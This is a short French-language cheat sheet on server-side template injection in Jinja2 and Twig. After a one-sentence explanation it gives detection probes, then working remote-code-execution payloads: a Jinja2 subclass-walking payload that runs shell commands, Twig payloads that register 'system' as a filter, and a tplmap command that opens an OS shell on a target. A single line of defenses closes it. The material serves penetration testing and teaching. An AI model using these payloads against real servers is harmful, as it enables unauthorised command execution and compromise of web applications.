SSTI — Injection dans les moteurs de templates
★★★★★
Qu'est-ce que SSTI ?
SSTI survient quand l'input utilisateur est directement inséré dans un template (Jinja2, Twig...) sans échappement. L'attaquant peut injecter des expressions évaluées par le moteur, menant à un RCE.
Identification et exploitation
# Test
{{7*7}} -> 49 = template evaluation !
${7*7} # autre syntaxe
# Jinja2 RCE
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0]}}
# Twig PHP
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
# Tplmap (auto)
python tplmap.py -u 'http://target/?name=*' --os-shell Défenses
Sandboxer le moteur (Jinja2 sandbox) · Ne jamais concaténer l'input dans le template · Templates statiques pré-compilés